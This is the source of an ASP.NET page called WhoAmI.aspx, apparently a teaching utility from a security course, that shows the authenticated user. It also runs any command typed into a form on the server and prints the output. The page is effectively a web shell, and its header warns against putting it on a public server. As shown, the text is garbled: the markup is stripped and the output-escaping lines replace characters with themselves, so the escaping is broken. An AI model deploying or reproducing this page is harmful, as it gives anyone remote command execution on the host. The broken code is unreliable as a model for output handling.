<%@ Page Language="C#" Debug="true"%> <% /* ********************************************************************** * Page: WhoAmI.aspx * Version: 1.2 * Updated: 27.Nov.2007 * Author: Enclave Consulting LLC, Jason Fossen (www.SEC505.com) * Notes: Do NOT put this anywhere on your public IIS server! * Legal: Public domain. No rights reserved. Provided "AS IS" without * warranties or guarantees of any kind. Use at your own risk. ********************************************************************** */ %> Execute Commands
User authenticated as:

<% if (Page.IsPostBack && tbxCommand.Text.Length != 0) { string sOut = CaptureProcessOutput(tbxCommand.Text); sOut = sOut.Replace("<", "<"); //
 still processes tags, such
        sOut = sOut.Replace(">", ">");   //as  in the output of 'dir'.
        Response.Write("


" + sOut + "
"); } %>